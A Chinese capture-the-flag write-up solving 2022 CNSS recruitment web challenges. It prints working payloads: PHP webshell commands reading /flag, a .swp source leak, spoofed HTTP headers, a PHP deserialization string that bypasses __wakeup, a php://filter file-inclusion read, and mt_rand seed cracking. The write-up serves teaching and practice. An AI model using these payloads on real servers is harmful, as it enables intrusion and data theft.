[CTF] 2022 CNSS Recruit Web 复现wp

📝 [Baby] SignIn

打开链接, F12被禁了, 直接用Ctrl+Shift+I打开开发者工具, 去掉disabled, 点击Flag按钮即可

image

image

cnss{yOu_kNOw_h7ml_W3lL!}

🚪 [Baby] Backdoor

题目就是一个马, 题目提示用蚁剑. 这里我没用蚁剑, 直接Hackbar post命令上去

cnss=system("cat /flag");

image

cnss{Php_b@CkDO0R_ONe_1in3R}

📦 [Baby] Webpack

React的map可能会在前端泄露源码, 尝试在js文件后加.map后缀

image

即为: http://101.200.202.216:60218/static/js/main.c91fb7d1.js.map

image

就可以下载到.map文件, vscode打开, 搜索cnss字符串即可

image

cnss{No_W3BpAcK_m4p}

🗼 [Baby] 嗜血成魔

不知道是不是正解, 直接在js文件里搜索alert, 找到了一个base64的字符串, 解密即可

image

cnss{M4Yb3_yOu_KN0w_jS}

💧 [Easy] Leak

提示vim崩掉了, 尝试swp文件, 即http://101.200.202.216:17990/.index.php.swp.

下载到swp文件, vim还原vim -r index.php或直接vsc打开也能看到代码, 发现是个马

image

利用?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system("ls /");获取文件名为fl4444444g, 再?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system("cat /fl4444444g");即可

image

cnss{ClE4n_VIm_sWapfILe_pLe4se}

🎯 [Easy] ezhttp

利用burp suite打开, 看到只接受CNSS请求

image

于是将请求改为CNSS, 发送后发现只能在安卓微信内置浏览器中请求

image

于是改User-Agent为安卓微信内置浏览器的UA, 搜索一下可知是Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN, 发送后发现只接受来自cnss.io的请求

image

于是改Referercnss.io, 发送后发现只接受来自本机的请求

image

于是改X-Forwarded-For127.0.0.1, 发送后发现只接受uestc.edu.cn域名的请求

image

于是改Hostuestc.edu.cn, 发送后发现只接受内容类型为application/json的请求

image

于是改Content-Typeapplication/json, 发送后发现不接受内容长度为0的请求

image

随便发个json过去, 发现能告诉我你的名字(name)吗?

image

于是加name字段, 发送后发现能告诉我你的密码(password)吗?

image

于是加password字段, 发送后发现能在cookie中写入你的名字(name)吗?

image

于是加上Cookie, 发送后发现能在Cookie中写入你的密码(password)吗?

image

加上后发现BasicAuth验证失败

image

搜索后可知, BasicAuth只需写入Authorization: Basic ["username:password"字段的base64加密]

image

加密后得到VGltbHpoOlRpbWx6aA==, 于是加上Authorization, 发送后即得到flag

image

cnss{c989245e3a04e1b5004b2dd40d7bfb7c}

🐘 [Easy] ezunserialize

打开后发现是一个简单的反序列化+绕过wakeup

image

利用这段php代码构造反序列化的文本

<?php
class CNSS
{
    public $username = 'admin';
    private $i_want2_say = 'i_like_web';
    protected $password  = 'ctf';
}
$a = new CNSS();
echo serialize($a);
?>

尝试后会发现并不对, 但是如果你直接复制网页上的代码, 会发现fssmsl这个字段并不是注释的一部分, 而是通过某种特殊的空字符被扔到了后面, 实际上是i_want2_say的一部分, 如图:

image

所以用这个脚本构造:

<?php
class CNSS
{
    public $username = 'admin';
    private $i_want2_say = '‮⁦fssmsl⁩⁦i_like_web';
    protected $password  = 'ctf';
}
$a = new CNSS();
echo serialize($a);
?>

构造出:

O:4:"CNSS":3:{s:8:"username";s:5:"admin";s:17:"%00CNSS%00i_want2_say";s:28:"‮⁦fssmsl⁩⁦i_like_web";s:11:"%00*%00password";s:3:"ctf";}

将3改为4, 绕过wakeup:

O:4:"CNSS":4:{s:8:"username";s:5:"admin";s:17:"%00CNSS%00i_want2_say";s:28:"‮⁦fssmsl⁩⁦i_like_web";s:11:"%00*%00password";s:3:"ctf";}

传上去即可

image

CNSS{un5Eria1i2E_I$_POweRFU1}

🎲 [Mid] Pesudo2

打开是一个文件包含, 使用php://filter/convert.base64-encode/resource=用base64回显, 根据题目提示GET 「file」 to find the truth included in 「pseudo」读取pseudo.php

http://43.143.99.15:60002/?file=php://filter/convert.base64-encode/resource=pseudo.php

base64解密后得到源码

<?php
//version php:7.2-apache
error_reporting(0);

$seed = getenv('srand');
$flag = getenv('flag');
mt_srand($seed);
$ans = mt_rand();

$begin = $_GET['begin'];
$guess = $_POST['guess'];


if ($begin === 'true' && is_numeric($guess)) {
    echo $ans . "<br/>";
    // for ($i = 0; $i <= 114514; $i++) {
    //     $ans += mt_rand();
    // }
    $ans = getenv('ans');
    if ($guess === $ans) {
        echo $flag;
    } else {
        echo "You are lost in the fog.";
    }
}

这里可以找到一个伪随机的漏洞, 得到一个生成的随机数ans=87104899之后, 可以利用脚本破解mt_srand的结果(可以自己写脚本, 但是没有那么快, 这里用了优化过的github脚本openwall/php_mt_seed), 结合php版本可以得到三个种子1137234869, 986753421, 2323915476写脚本生成三种答案:

<?php
mt_srand(1137234869);
$ans = mt_rand();
for ($i = 0; $i <= 114514; $i++) {
    $ans += mt_rand();
}
echo $ans.'</br>';

mt_srand(986753421);
$ans = mt_rand();
for ($i = 0; $i <= 114514; $i++) {
    $ans += mt_rand();
}
echo $ans.'</br>';

mt_srand(2323915476);
$ans = mt_rand();
for ($i = 0; $i <= 114514; $i++) {
    $ans += mt_rand();
}
echo $ans.'</br>';

注意需要使用7.1+版本的php运行, 否则随机结果不同

122853612520104, 122756472461839, 122757110307027

都尝试一遍, 可以知道是122756472461839

image

CNSS{P53uDO_0r_7Rue_1T'5_4_QueS7iON}

posted @ 2022-10-21 22:30  Tim厉  阅读(246)  评论(0编辑  收藏  举报